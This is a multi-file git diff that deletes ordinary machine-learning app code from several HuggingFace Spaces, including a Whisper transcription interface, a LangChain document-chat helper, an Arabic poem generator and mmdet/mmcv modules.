-        gr.Number(label="Diarization - Max Speakers", precision=0, value=app_config.diarization_max_speakers, interactive=has_diarization_libs),
-
-    ], outputs=[
-        gr.File(label="Download"),
-        gr.Text(label="Transcription"), 
-        gr.Text(label="Segments")
-    ])
-
-    demo = gr.TabbedInterface([simple_transcribe, full_transcribe, perform_extra_interface], tab_names=["Simple", "Full", "Extra"])
-
-    # Queue up the demo
-    if is_queue_mode:
-        demo.queue(concurrency_count=app_config.queue_concurrency_count)
-        print("Queue mode enabled (concurrency count: " + str(app_config.queue_concurrency_count) + ")")
-    else:
-        print("Queue mode disabled - progress bars will not be shown.")
-   
-    demo.launch(share=app_config.share, server_name=app_config.server_name, server_port=app_config.server_port)
-    
-    # Clean up
-    ui.close()
-
-if __name__ == '__main__':
-    default_app_config = ApplicationConfig.create_default()
-    whisper_models = default_app_config.get_model_names()
-
-    # Environment variable overrides
-    default_whisper_implementation = os.environ.get("WHISPER_IMPLEMENTATION", default_app_config.whisper_implementation)
-
-    parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)
-    parser.add_argument("--input_audio_max_duration", type=int, default=default_app_config.input_audio_max_duration, \
-                        help="Maximum audio file length in seconds, or -1 for no limit.") # 600
-    parser.add_argument("--share", type=bool, default=default_app_config.share, \
-                        help="True to share the app on HuggingFace.") # False
-    parser.add_argument("--server_name", type=str, default=default_app_config.server_name, \
-                        help="The host or IP to bind to. If None, bind to localhost.") # None
-    parser.add_argument("--server_port", type=int, default=default_app_config.server_port, \
-                        help="The port to bind to.") # 7860
-    parser.add_argument("--queue_concurrency_count", type=int, default=default_app_config.queue_concurrency_count, \
-                        help="The number of concurrent requests to process.") # 1
-    parser.add_argument("--default_model_name", type=str, choices=whisper_models, default=default_app_config.default_model_name, \
-                        help="The default model name.") # medium
-    parser.add_argument("--default_vad", type=str, default=default_app_config.default_vad, \
-                        help="The default VAD.") # silero-vad
-    parser.add_argument("--vad_initial_prompt_mode", type=str, default=default_app_config.vad_initial_prompt_mode, choices=VAD_INITIAL_PROMPT_MODE_VALUES, \
-                        help="Whether or not to prepend the initial prompt to each VAD segment (prepend_all_segments), or just the first segment (prepend_first_segment)") # prepend_first_segment
-    parser.add_argument("--vad_parallel_devices", type=str, default=default_app_config.vad_parallel_devices, \
-                        help="A commma delimited list of CUDA devices to use for parallel processing. If None, disable parallel processing.") # ""
-    parser.add_argument("--vad_cpu_cores", type=int, default=default_app_config.vad_cpu_cores, \
-                        help="The number of CPU cores to use for VAD pre-processing.") # 1
-    parser.add_argument("--vad_process_timeout", type=float, default=default_app_config.vad_process_timeout, \
-                        help="The number of seconds before inactivate processes are terminated. Use 0 to close processes immediately, or None for no timeout.") # 1800
-    parser.add_argument("--auto_parallel", type=bool, default=default_app_config.auto_parallel, \
-                        help="True to use all available GPUs and CPU cores for processing. Use vad_cpu_cores/vad_parallel_devices to specify the number of CPU cores/GPUs to use.") # False
-    parser.add_argument("--output_dir", "-o", type=str, default=default_app_config.output_dir, \
-                        help="directory to save the outputs")
-    parser.add_argument("--whisper_implementation", type=str, default=default_whisper_implementation, choices=["whisper", "faster-whisper"],\
-                        help="the Whisper implementation to use")
-    parser.add_argument("--compute_type", type=str, default=default_app_config.compute_type, choices=["default", "auto", "int8", "int8_float16", "int16", "float16", "float32"], \
-                        help="the compute type to use for inference")
-    parser.add_argument("--threads", type=optional_int, default=0, 
-                        help="number of threads used by torch for CPU inference; supercedes MKL_NUM_THREADS/OMP_NUM_THREADS")
-    
-    parser.add_argument('--auth_token', type=str, default=default_app_config.auth_token, help='HuggingFace API Token (optional)')
-    parser.add_argument("--diarization", type=str2bool, default=default_app_config.diarization, \
-                        help="whether to perform speaker diarization")
-    parser.add_argument("--diarization_num_speakers", type=int, default=default_app_config.diarization_speakers, help="Number of speakers")
-    parser.add_argument("--diarization_min_speakers", type=int, default=default_app_config.diarization_min_speakers, help="Minimum number of speakers")
-    parser.add_argument("--diarization_max_speakers", type=int, default=default_app_config.diarization_max_speakers, help="Maximum number of speakers")
-    parser.add_argument("--diarization_process_timeout", type=int, default=default_app_config.diarization_process_timeout, \
-                        help="Number of seconds before inactivate diarization processes are terminated. Use 0 to close processes immediately, or None for no timeout.")
-
-    args = parser.parse_args().__dict__
-
-    updated_config = default_app_config.update(**args)
-
-    if (threads := args.pop("threads")) > 0:
-        torch.set_num_threads(threads)
-
-    print("Using whisper implementation: " + updated_config.whisper_implementation)
-    create_ui(app_config=updated_config)
\ No newline at end of file
diff --git a/spaces/aaronb/DragGAN/stylegan2/op/fused_bias_act.cpp b/spaces/aaronb/DragGAN/stylegan2/op/fused_bias_act.cpp
deleted file mode 100644
index 71f612cdbaaca03822eedc002a980d055d2f485c..0000000000000000000000000000000000000000
--- a/spaces/aaronb/DragGAN/stylegan2/op/fused_bias_act.cpp
+++ /dev/null
@@ -1,32 +0,0 @@
-
-#include <ATen/ATen.h>
-#include <torch/extension.h>
-
-torch::Tensor fused_bias_act_op(const torch::Tensor &input,
-                                const torch::Tensor &bias,
-                                const torch::Tensor &refer, int act, int grad,
-                                float alpha, float scale);
-
-#define CHECK_CUDA(x)                                                          \
-  TORCH_CHECK(x.type().is_cuda(), #x " must be a CUDA tensor")
-#define CHECK_CONTIGUOUS(x)                                                    \
-  TORCH_CHECK(x.is_contiguous(), #x " must be contiguous")
-#define CHECK_INPUT(x)                                                         \
-  CHECK_CUDA(x);                                                               \
-  CHECK_CONTIGUOUS(x)
-
-torch::Tensor fused_bias_act(const torch::Tensor &input,
-                             const torch::Tensor &bias,
-                             const torch::Tensor &refer, int act, int grad,
-                             float alpha, float scale) {
-  CHECK_INPUT(input);
-  CHECK_INPUT(bias);
-
-  at::DeviceGuard guard(input.device());
-
-  return fused_bias_act_op(input, bias, refer, act, grad, alpha, scale);
-}
-
-PYBIND11_MODULE(TORCH_EXTENSION_NAME, m) {
-  m.def("fused_bias_act", &fused_bias_act, "fused bias act (CUDA)");
-}
\ No newline at end of file
diff --git a/spaces/abascal/chat_with_data_app/utils/langchain_helper.py b/spaces/abascal/chat_with_data_app/utils/langchain_helper.py
deleted file mode 100644
index dc68eb749515ab880aab5a6683466134d0e46fc0..0000000000000000000000000000000000000000
--- a/spaces/abascal/chat_with_data_app/utils/langchain_helper.py
+++ /dev/null
@@ -1,165 +0,0 @@
-""" Based on LangChain course "Chat with Your Data "
-    
-    See:
-        https://www.deeplearning.ai/short-courses/
-        https://python.langchain.com/
-
-""" 
-import os
-
-import openai
-from langchain.chains import ConversationalRetrievalChain, RetrievalQA
-from langchain.chat_models import ChatOpenAI
-from langchain.document_loaders import PyPDFLoader, TextLoader
-from langchain.embeddings.openai import OpenAIEmbeddings
-from langchain.memory import ConversationBufferMemory
-from langchain.text_splitter import (CharacterTextSplitter,
-                                     RecursiveCharacterTextSplitter)
-from langchain.vectorstores import Chroma, DocArrayInMemorySearch
-
-
-# Load document with langchain.document_loaders
-def read_doc(doc_type, doc_path, mode_print=False):
-    if doc_type == "pdf":
-        from langchain.document_loaders import PyPDFLoader
-        loader = PyPDFLoader(doc_path)
-    elif doc_type == "url":
-        from langchain.document_loaders import WebBaseLoader
-        url = doc_path
-        loader = WebBaseLoader(url)
-    elif doc_type == "youtube":
-        from langchain.document_loaders.blob_loaders.youtube_audio import \
-            YoutubeAudioLoader
-        from langchain.document_loaders.generic import GenericLoader
-        from langchain.document_loaders.parsers import OpenAIWhisperParser
-
-        save_path = "./downloads/youtube/"
-        if not os.path.exists(save_path):
-            os.makedirs(save_path)
-
-        # Delete all files in the directory to avoid confussion    
-        files = os.listdir(save_path)
-        for file in files:
-            os.remove(file) 
-        url = doc_path
-        loader = GenericLoader(YoutubeAudioLoader([url], save_path), 
-                               OpenAIWhisperParser())
-    docs = loader.load()
-    if mode_print is True:
-        print(f"Loaded {len(docs)} pages/documents")
-        print(f"First page: {docs[0].metadata}")
-        print(docs[0].page_content[:500])
-    return docs
-
-def read_split_doc(doc_type, doc_path, chunk_size, chunk_overlap, mode_print=False): 
-    # Read doc using langchain
-    docs = read_doc(doc_type, doc_path)
-    # -------------------------
-    # Split into chunks
-    text_splitter = RecursiveCharacterTextSplitter(
-        chunk_size=chunk_size, 
-        chunk_overlap=chunk_overlap)
-
-    docs_split = text_splitter.split_documents(docs)
-    if mode_print is True:
-        print(f"Split into {len(docs_split)} chunks")
-        print(f"First chunk: {docs_split[0].metadata}")
-        print(docs_split[0].page_content)
-    return docs_split
-
-# --------------------------
-def load_db_chroma_from_disk(embedding, persist_path):
-    # Load db from disk
-    db = Chroma(persist_directory=persist_path,
-                               embedding_function=embedding)
-    print(f"Loaded vector database with {db._collection.count()} documents")
-    return db
-
-def create_db_from_documents(docs_split, embedding):
-    # Create vector database from document    
-    db = DocArrayInMemorySearch.from_documents(
-        docs_split, 
-        embedding=embedding)
-    #print(f"Created vector database with {db._collection.count()} documents")
-    #db.persist() # save the vectorstore to disk for future use     
-    return db
-
-def load_db(file, chain_type, k, llm_name="gpt-3.5-turbo"):
-    # Load documents, split them into chunks, and create a vector database. 
-    # Then, return a chatbot chain that uses the vector database as a retriever.
-    
-    # load documents
-    loader = PyPDFLoader(file)
-    documents = loader.load()
-
-    # split documents
-    text_splitter = RecursiveCharacterTextSplitter(chunk_size=1000, chunk_overlap=150)
-    docs = text_splitter.split_documents(documents)
-    
-    # define embedding
-    embeddings = OpenAIEmbeddings(openai_api_key=openai.api_key)
-    
-    # create vector database from data
-    db = DocArrayInMemorySearch.from_documents(docs, embeddings)
-    
-    # define retriever
-    retriever = db.as_retriever(search_type="similarity", search_kwargs={"k": k})
-    
-    # create a chatbot chain. Memory is managed externally.
-    qa = ConversationalRetrievalChain.from_llm(
-        llm=ChatOpenAI(model_name=llm_name, temperature=0, openai_api_key=openai.api_key), 
-        chain_type=chain_type, 
-        retriever=retriever, 
-        return_source_documents=True,
-        return_generated_question=True,        
-    )
-    return qa 
-
-# --------------------------
-def init_embedding(openai_api_key):
-    # Define embedding
-    embedding = OpenAIEmbeddings(openai_api_key=openai_api_key)    
-    return embedding
-
-def init_llm(llm_name, temperature, openai_api_key=openai.api_key):
-    # Init the LLM
-    llm = ChatOpenAI(model_name=llm_name,
-                    temperature=temperature,
-                    openai_api_key=openai_api_key)
-    return llm
-
-def init_qa_chain_from_llm(llm, db):
-    # Init memory and chain
-    memory = ConversationBufferMemory(
-        memory_key="chat_history",
-        return_messages=True
-    )
-    qa_chain = ConversationalRetrievalChain.from_llm(
-        llm,
-        retriever=db.as_retriever(),
-        memory=memory
-    )
-    return qa_chain, memory
-
-def init_llm_qa_chain(llm_name, temperature, openai_api_key, db):
-    # Init LLM and QA chain so it can be modified from the chat interface
-
-    # Init the LLM
-    llm = init_llm(llm_name, temperature, openai_api_key)
-    # Init memory and chain
-    qa_chain, memory = init_qa_chain_from_llm(llm, db)
-    return llm, qa_chain, memory
-
-# Call QA chain
-def qa_call(input):
-    output = qa_chain({"question": input})
-    return output
-def qa_answer(input):
-    # Return the answer from the QA call
-    return qa_call(input)['answer']
-def qa_input_msg_history(input, history):
-    # QA function that inputs the answer and the history
-    # History managed internally by ChatInterface
-    answer = qa_answer(input)
-    return answer
-
diff --git a/spaces/abbbbbbbbbbbbbb/meter2poem-1/app.py b/spaces/abbbbbbbbbbbbbb/meter2poem-1/app.py
deleted file mode 100644
index f355591c17afc5f99fc6989581f924d054c17c20..0000000000000000000000000000000000000000
--- a/spaces/abbbbbbbbbbbbbb/meter2poem-1/app.py
+++ /dev/null
@@ -1,51 +0,0 @@
-from transformers import BertTokenizer, EncoderDecoderModel
-import gradio as gr
-
-tokenizerM = BertTokenizer.from_pretrained("mareloraby/BERTShared-meter2poem-arV01")
-bertSharedM = EncoderDecoderModel.from_pretrained("mareloraby/BERTShared-meter2poem-arV01")
-
-def generate_response(text, k = 70, p = 0.7, nb = 4):
-# meters = set(['الرمل','البسيط','الخفيف','الكامل','السريع','الطويل','المتقارب','الرجز','المجتث','المنسرح','الوافر','المقتضب','الهزج','المديد','المضارع'])
-  prompt = f"{text}"
-  encoded_prompt = tokenizerM.encode_plus(prompt, return_tensors = 'pt')#.to(device)
-  gneration = bertSharedM.generate(
-                            input_ids = encoded_prompt.input_ids, 
-                            attention_mask = encoded_prompt.attention_mask, 
-                            do_sample = True,
-                            top_k= k, 
-                            top_p = p,
-                            num_beams= nb,
-                            max_length =130, 
-                            repetition_penalty = 2.0,  
-                            no_repeat_ngram_size = 2,
-                            early_stopping=True)
-                    
-  generated_text = tokenizerM.decode(gneration[0], skip_special_tokens=True) 
-  bayts = generated_text.split("[SOB]")
-  while("BSEP" not in bayts[-1]):
-    bayts = bayts[:-1]
-  # if(len(bayts[-1]) < 2):
-  #   bayts = bayts[:-1]
-  bayts = bayts[:-1]
-  temp_poem = ''
-  for b in range(len(bayts)):
-      temp_line = bayts[b].split('[BSEP]')
-      temp_poem = temp_poem + temp_line[1] + ' - ' + temp_line[0] +'\n'
-
-  return temp_poem
-  
-  
-  
-gr.Interface(fn=generate_response,
-           title = 'BERTShared - meter based generation',
-          #  description ='''
-          #  topics : ['حزينه','هجاء','عتاب','غزل','مدح','رومنسيه','دينية','وطنيه']
-          #  ''',
-            inputs=[
-        gr.inputs.Radio(['الرمل','البسيط','الخفيف','الكامل','السريع','الطويل','المتقارب','الرجز','المجتث','المنسرح','الوافر','المقتضب','الهزج','المديد','المضارع'],label='Choose Meter'),
-        gr.inputs.Slider(10, 200, step=10,default = 70, label='Top-K'),
-        gr.inputs.Slider(0.10, 0.99, step=0.02, default = 0.70, label='Top-P'),
-       # gr.inputs.Slider(1, 20, step=1, default = 4, label='Beams'),
-        ],
-           outputs="text").launch()
-           
\ No newline at end of file
diff --git a/spaces/abhishek/sketch-to-image/annotator/uniformer/mmdet/core/bbox/coder/delta_xywh_bbox_coder.py b/spaces/abhishek/sketch-to-image/annotator/uniformer/mmdet/core/bbox/coder/delta_xywh_bbox_coder.py
deleted file mode 100644
index da317184a6eb6f87b0b658e9ff8be289794a0cb2..0000000000000000000000000000000000000000
--- a/spaces/abhishek/sketch-to-image/annotator/uniformer/mmdet/core/bbox/coder/delta_xywh_bbox_coder.py
+++ /dev/null
@@ -1,237 +0,0 @@
-import mmcv
-import numpy as np
-import torch
-
-from ..builder import BBOX_CODERS
-from .base_bbox_coder import BaseBBoxCoder
-
-
-@BBOX_CODERS.register_module()
-class DeltaXYWHBBoxCoder(BaseBBoxCoder):
-    """Delta XYWH BBox coder.
-
-    Following the practice in `R-CNN <https://arxiv.org/abs/1311.2524>`_,
-    this coder encodes bbox (x1, y1, x2, y2) into delta (dx, dy, dw, dh) and
-    decodes delta (dx, dy, dw, dh) back to original bbox (x1, y1, x2, y2).
-
-    Args:
-        target_means (Sequence[float]): Denormalizing means of target for
-            delta coordinates
-        target_stds (Sequence[float]): Denormalizing standard deviation of
-            target for delta coordinates
-        clip_border (bool, optional): Whether clip the objects outside the
-            border of the image. Defaults to True.
-    """
-
-    def __init__(self,
-                 target_means=(0., 0., 0., 0.),
-                 target_stds=(1., 1., 1., 1.),
-                 clip_border=True):
-        super(BaseBBoxCoder, self).__init__()
-        self.means = target_means
-        self.stds = target_stds
-        self.clip_border = clip_border
-
-    def encode(self, bboxes, gt_bboxes):
-        """Get box regression transformation deltas that can be used to
-        transform the ``bboxes`` into the ``gt_bboxes``.
-
-        Args:
-            bboxes (torch.Tensor): Source boxes, e.g., object proposals.
-            gt_bboxes (torch.Tensor): Target of the transformation, e.g.,
-                ground-truth boxes.
-
-        Returns:
-            torch.Tensor: Box transformation deltas
-        """
-
-        assert bboxes.size(0) == gt_bboxes.size(0)
-        assert bboxes.size(-1) == gt_bboxes.size(-1) == 4
-        encoded_bboxes = bbox2delta(bboxes, gt_bboxes, self.means, self.stds)
-        return encoded_bboxes
-
-    def decode(self,
-               bboxes,
-               pred_bboxes,
-               max_shape=None,
-               wh_ratio_clip=16 / 1000):
-        """Apply transformation `pred_bboxes` to `boxes`.
-
-        Args:
-            bboxes (torch.Tensor): Basic boxes. Shape (B, N, 4) or (N, 4)
-            pred_bboxes (Tensor): Encoded offsets with respect to each roi.
-               Has shape (B, N, num_classes * 4) or (B, N, 4) or
-               (N, num_classes * 4) or (N, 4). Note N = num_anchors * W * H
-               when rois is a grid of anchors.Offset encoding follows [1]_.
-            max_shape (Sequence[int] or torch.Tensor or Sequence[
-               Sequence[int]],optional): Maximum bounds for boxes, specifies
-               (H, W, C) or (H, W). If bboxes shape is (B, N, 4), then
-               the max_shape should be a Sequence[Sequence[int]]
-               and the length of max_shape should also be B.
-            wh_ratio_clip (float, optional): The allowed ratio between
-                width and height.
-
-        Returns:
-            torch.Tensor: Decoded boxes.
-        """
-
-        assert pred_bboxes.size(0) == bboxes.size(0)
-        if pred_bboxes.ndim == 3:
-            assert pred_bboxes.size(1) == bboxes.size(1)
-        decoded_bboxes = delta2bbox(bboxes, pred_bboxes, self.means, self.stds,
-                                    max_shape, wh_ratio_clip, self.clip_border)
-
-        return decoded_bboxes
-
-
-@mmcv.jit(coderize=True)
-def bbox2delta(proposals, gt, means=(0., 0., 0., 0.), stds=(1., 1., 1., 1.)):
-    """Compute deltas of proposals w.r.t. gt.
-
-    We usually compute the deltas of x, y, w, h of proposals w.r.t ground
-    truth bboxes to get regression target.
-    This is the inverse function of :func:`delta2bbox`.
-
-    Args:
-        proposals (Tensor): Boxes to be transformed, shape (N, ..., 4)
-        gt (Tensor): Gt bboxes to be used as base, shape (N, ..., 4)
-        means (Sequence[float]): Denormalizing means for delta coordinates
-        stds (Sequence[float]): Denormalizing standard deviation for delta
-            coordinates
-
-    Returns:
-        Tensor: deltas with shape (N, 4), where columns represent dx, dy,
-            dw, dh.
-    """
-    assert proposals.size() == gt.size()
-
-    proposals = proposals.float()
-    gt = gt.float()
-    px = (proposals[..., 0] + proposals[..., 2]) * 0.5
-    py = (proposals[..., 1] + proposals[..., 3]) * 0.5
-    pw = proposals[..., 2] - proposals[..., 0]
-    ph = proposals[..., 3] - proposals[..., 1]
-
-    gx = (gt[..., 0] + gt[..., 2]) * 0.5
-    gy = (gt[..., 1] + gt[..., 3]) * 0.5
-    gw = gt[..., 2] - gt[..., 0]
-    gh = gt[..., 3] - gt[..., 1]
-
-    dx = (gx - px) / pw
-    dy = (gy - py) / ph
-    dw = torch.log(gw / pw)
-    dh = torch.log(gh / ph)
-    deltas = torch.stack([dx, dy, dw, dh], dim=-1)
-
-    means = deltas.new_tensor(means).unsqueeze(0)
-    stds = deltas.new_tensor(stds).unsqueeze(0)
-    deltas = deltas.sub_(means).div_(stds)
-
-    return deltas
-
-
-@mmcv.jit(coderize=True)
-def delta2bbox(rois,
-               deltas,
-               means=(0., 0., 0., 0.),
-               stds=(1., 1., 1., 1.),
-               max_shape=None,
-               wh_ratio_clip=16 / 1000,
-               clip_border=True):
-    """Apply deltas to shift/scale base boxes.
-
-    Typically the rois are anchor or proposed bounding boxes and the deltas are
-    network outputs used to shift/scale those boxes.
-    This is the inverse function of :func:`bbox2delta`.
-
-    Args:
-        rois (Tensor): Boxes to be transformed. Has shape (N, 4) or (B, N, 4)
-        deltas (Tensor): Encoded offsets with respect to each roi.
-            Has shape (B, N, num_classes * 4) or (B, N, 4) or
-            (N, num_classes * 4) or (N, 4). Note N = num_anchors * W * H
-            when rois is a grid of anchors.Offset encoding follows [1]_.
-        means (Sequence[float]): Denormalizing means for delta coordinates
-        stds (Sequence[float]): Denormalizing standard deviation for delta
-            coordinates
-        max_shape (Sequence[int] or torch.Tensor or Sequence[
-            Sequence[int]],optional): Maximum bounds for boxes, specifies
-            (H, W, C) or (H, W). If rois shape is (B, N, 4), then
-            the max_shape should be a Sequence[Sequence[int]]
-            and the length of max_shape should also be B.
-        wh_ratio_clip (float): Maximum aspect ratio for boxes.
-        clip_border (bool, optional): Whether clip the objects outside the
-            border of the image. Defaults to True.
-
-    Returns:
-        Tensor: Boxes with shape (B, N, num_classes * 4) or (B, N, 4) or
-           (N, num_classes * 4) or (N, 4), where 4 represent
-           tl_x, tl_y, br_x, br_y.
-
-    References:
-        .. [1] https://arxiv.org/abs/1311.2524
-
-    Example:
-        >>> rois = torch.Tensor([[ 0.,  0.,  1.,  1.],
-        >>>                      [ 0.,  0.,  1.,  1.],
-        >>>                      [ 0.,  0.,  1.,  1.],
-        >>>                      [ 5.,  5.,  5.,  5.]])
-        >>> deltas = torch.Tensor([[  0.,   0.,   0.,   0.],
-        >>>                        [  1.,   1.,   1.,   1.],
-        >>>                        [  0.,   0.,   2.,  -1.],
-        >>>                        [ 0.7, -1.9, -0.5,  0.3]])
-        >>> delta2bbox(rois, deltas, max_shape=(32, 32, 3))
-        tensor([[0.0000, 0.0000, 1.0000, 1.0000],
-                [0.1409, 0.1409, 2.8591, 2.8591],
-                [0.0000, 0.3161, 4.1945, 0.6839],
-                [5.0000, 5.0000, 5.0000, 5.0000]])
-    """
-    means = deltas.new_tensor(means).view(1,
-                                          -1).repeat(1,
-                                                     deltas.size(-1) // 4)
-    stds = deltas.new_tensor(stds).view(1, -1).repeat(1, deltas.size(-1) // 4)
-    denorm_deltas = deltas * stds + means
-    dx = denorm_deltas[..., 0::4]
-    dy = denorm_deltas[..., 1::4]
-    dw = denorm_deltas[..., 2::4]
-    dh = denorm_deltas[..., 3::4]
-    max_ratio = np.abs(np.log(wh_ratio_clip))
-    dw = dw.clamp(min=-max_ratio, max=max_ratio)
-    dh = dh.clamp(min=-max_ratio, max=max_ratio)
-    x1, y1 = rois[..., 0], rois[..., 1]
-    x2, y2 = rois[..., 2], rois[..., 3]
-    # Compute center of each roi
-    px = ((x1 + x2) * 0.5).unsqueeze(-1).expand_as(dx)
-    py = ((y1 + y2) * 0.5).unsqueeze(-1).expand_as(dy)
-    # Compute width/height of each roi
-    pw = (x2 - x1).unsqueeze(-1).expand_as(dw)
-    ph = (y2 - y1).unsqueeze(-1).expand_as(dh)
-    # Use exp(network energy) to enlarge/shrink each roi
-    gw = pw * dw.exp()
-    gh = ph * dh.exp()
-    # Use network energy to shift the center of each roi
-    gx = px + pw * dx
-    gy = py + ph * dy
-    # Convert center-xy/width/height to top-left, bottom-right
-    x1 = gx - gw * 0.5
-    y1 = gy - gh * 0.5
-    x2 = gx + gw * 0.5
-    y2 = gy + gh * 0.5
-
-    bboxes = torch.stack([x1, y1, x2, y2], dim=-1).view(deltas.size())
-
-    if clip_border and max_shape is not None:
-        if not isinstance(max_shape, torch.Tensor):
-            max_shape = x1.new_tensor(max_shape)
-        max_shape = max_shape[..., :2].type_as(x1)
-        if max_shape.ndim == 2:
-            assert bboxes.ndim == 3
-            assert max_shape.size(0) == bboxes.size(0)
-
-        min_xy = x1.new_tensor(0)
-        max_xy = torch.cat(
-            [max_shape] * (deltas.size(-1) // 2),
-            dim=-1).flip(-1).unsqueeze(-2)
-        bboxes = torch.where(bboxes < min_xy, min_xy, bboxes)
-        bboxes = torch.where(bboxes > max_xy, max_xy, bboxes)
-
-    return bboxes
diff --git a/spaces/abhishek/sketch-to-image/annotator/uniformer/mmdet_null/models/necks/hrfpn.py b/spaces/abhishek/sketch-to-image/annotator/uniformer/mmdet_null/models/necks/hrfpn.py
deleted file mode 100644
index ed4f194832fc4b6ea77ce54262fb8ffa8675fc4e..0000000000000000000000000000000000000000
--- a/spaces/abhishek/sketch-to-image/annotator/uniformer/mmdet_null/models/necks/hrfpn.py
+++ /dev/null
@@ -1,102 +0,0 @@
-import torch
-import torch.nn as nn
-import torch.nn.functional as F
-from mmcv.cnn import ConvModule, caffe2_xavier_init
-from torch.utils.checkpoint import checkpoint
-
-from ..builder import NECKS
-
-
-@NECKS.register_module()
-class HRFPN(nn.Module):
-    """HRFPN (High Resolution Feature Pyramids)
-
-    paper: `High-Resolution Representations for Labeling Pixels and Regions
-    <https://arxiv.org/abs/1904.04514>`_.
-
-    Args:
-        in_channels (list): number of channels for each branch.
-        out_channels (int): output channels of feature pyramids.
-        num_outs (int): number of output stages.
-        pooling_type (str): pooling for generating feature pyramids
-            from {MAX, AVG}.
-        conv_cfg (dict): dictionary to construct and config conv layer.
-        norm_cfg (dict): dictionary to construct and config norm layer.
-        with_cp  (bool): Use checkpoint or not. Using checkpoint will save some
-            memory while slowing down the training speed.
-        stride (int): stride of 3x3 convolutional layers
-    """
-
-    def __init__(self,
-                 in_channels,
-                 out_channels,
-                 num_outs=5,
-                 pooling_type='AVG',
-                 conv_cfg=None,
-                 norm_cfg=None,
-                 with_cp=False,
-                 stride=1):
-        super(HRFPN, self).__init__()
-        assert isinstance(in_channels, list)
-        self.in_channels = in_channels
-        self.out_channels = out_channels
-        self.num_ins = len(in_channels)
-        self.num_outs = num_outs
-        self.with_cp = with_cp
-        self.conv_cfg = conv_cfg
-        self.norm_cfg = norm_cfg
-
-        self.reduction_conv = ConvModule(
-            sum(in_channels),
-            out_channels,
-            kernel_size=1,
-            conv_cfg=self.conv_cfg,
-            act_cfg=None)
-
-        self.fpn_convs = nn.ModuleList()
-        for i in range(self.num_outs):
-            self.fpn_convs.append(
-                ConvModule(
-                    out_channels,
-                    out_channels,
-                    kernel_size=3,
-                    padding=1,
-                    stride=stride,
-                    conv_cfg=self.conv_cfg,
-                    act_cfg=None))
-
-        if pooling_type == 'MAX':
-            self.pooling = F.max_pool2d
-        else:
-            self.pooling = F.avg_pool2d
-
-    def init_weights(self):
-        """Initialize the weights of module."""
-        for m in self.modules():
-            if isinstance(m, nn.Conv2d):
-                caffe2_xavier_init(m)
-
-    def forward(self, inputs):
-        """Forward function."""
-        assert len(inputs) == self.num_ins
-        outs = [inputs[0]]
-        for i in range(1, self.num_ins):
-            outs.append(
-                F.interpolate(inputs[i], scale_factor=2**i, mode='bilinear'))
-        out = torch.cat(outs, dim=1)
-        if out.requires_grad and self.with_cp:
-            out = checkpoint(self.reduction_conv, out)
-        else:
-            out = self.reduction_conv(out)
-        outs = [out]
-        for i in range(1, self.num_outs):
-            outs.append(self.pooling(out, kernel_size=2**i, stride=2**i))
-        outputs = []
-
-        for i in range(self.num_outs):
-            if outs[i].requires_grad and self.with_cp:
-                tmp_out = checkpoint(self.fpn_convs[i], outs[i])
-            else:
-                tmp_out = self.fpn_convs[i](outs[i])
-            outputs.append(tmp_out)
-        return tuple(outputs)
diff --git a/spaces/abhishek/sketch-to-image/annotator/uniformer/mmseg/datasets/__init__.py b/spaces/abhishek/sketch-to-image/annotator/uniformer/mmseg/datasets/__init__.py
deleted file mode 100644
index ebeaef4a28ef655e43578552a8aef6b77f13a636..0000000000000000000000000000000000000000
--- a/spaces/abhishek/sketch-to-image/annotator/uniformer/mmseg/datasets/__init__.py
+++ /dev/null
@@ -1,19 +0,0 @@
-from .ade import ADE20KDataset
-from .builder import DATASETS, PIPELINES, build_dataloader, build_dataset
-from .chase_db1 import ChaseDB1Dataset
-from .cityscapes import CityscapesDataset
-from .custom import CustomDataset
-from .dataset_wrappers import ConcatDataset, RepeatDataset
-from .drive import DRIVEDataset
-from .hrf import HRFDataset
-from .pascal_context import PascalContextDataset, PascalContextDataset59
-from .stare import STAREDataset
-from .voc import PascalVOCDataset
-
-__all__ = [
-    'CustomDataset', 'build_dataloader', 'ConcatDataset', 'RepeatDataset',
-    'DATASETS', 'build_dataset', 'PIPELINES', 'CityscapesDataset',
-    'PascalVOCDataset', 'ADE20KDataset', 'PascalContextDataset',
-    'PascalContextDataset59', 'ChaseDB1Dataset', 'DRIVEDataset', 'HRFDataset',
-    'STAREDataset'
-]
diff --git a/spaces/abhishek/sketch-to-image/annotator/uniformer_base/mmcv/cnn/utils/weight_init.py b/spaces/abhishek/sketch-to-image/annotator/uniformer_base/mmcv/cnn/utils/weight_init.py
deleted file mode 100644
index 287a1d0bffe26e023029d48634d9b761deda7ba4..0000000000000000000000000000000000000000
--- a/spaces/abhishek/sketch-to-image/annotator/uniformer_base/mmcv/cnn/utils/weight_init.py
+++ /dev/null
@@ -1,684 +0,0 @@
-# Copyright (c) OpenMMLab. All rights reserved.
-import copy
-import math
-import warnings
-
-import numpy as np
-import torch
-import torch.nn as nn
-from torch import Tensor
-
-from annotator.uniformer.mmcv.utils import Registry, build_from_cfg, get_logger, print_log
-
-INITIALIZERS = Registry('initializer')
-
-
-def update_init_info(module, init_info):
-    """Update the `_params_init_info` in the module if the value of parameters
-    are changed.
-
-    Args:
-        module (obj:`nn.Module`): The module of PyTorch with a user-defined
-            attribute `_params_init_info` which records the initialization
-            information.
-        init_info (str): The string that describes the initialization.
-    """
-    assert hasattr(
-        module,
-        '_params_init_info'), f'Can not find `_params_init_info` in {module}'
-    for name, param in module.named_parameters():
-
-        assert param in module._params_init_info, (
-            f'Find a new :obj:`Parameter` '
-            f'named `{name}` during executing the '
-            f'`init_weights` of '
-            f'`{module.__class__.__name__}`. '
-            f'Please do not add or '
-            f'replace parameters during executing '
-            f'the `init_weights`. ')
-
-        # The parameter has been changed during executing the
-        # `init_weights` of module
-        mean_value = param.data.mean()
-        if module._params_init_info[param]['tmp_mean_value'] != mean_value:
-            module._params_init_info[param]['init_info'] = init_info
-            module._params_init_info[param]['tmp_mean_value'] = mean_value
-
-
-def constant_init(module, val, bias=0):
-    if hasattr(module, 'weight') and module.weight is not None:
-        nn.init.constant_(module.weight, val)
-    if hasattr(module, 'bias') and module.bias is not None:
-        nn.init.constant_(module.bias, bias)
-
-
-def xavier_init(module, gain=1, bias=0, distribution='normal'):
-    assert distribution in ['uniform', 'normal']
-    if hasattr(module, 'weight') and module.weight is not None:
-        if distribution == 'uniform':
-            nn.init.xavier_uniform_(module.weight, gain=gain)
-        else:
-            nn.init.xavier_normal_(module.weight, gain=gain)
-    if hasattr(module, 'bias') and module.bias is not None:
-        nn.init.constant_(module.bias, bias)
-
-
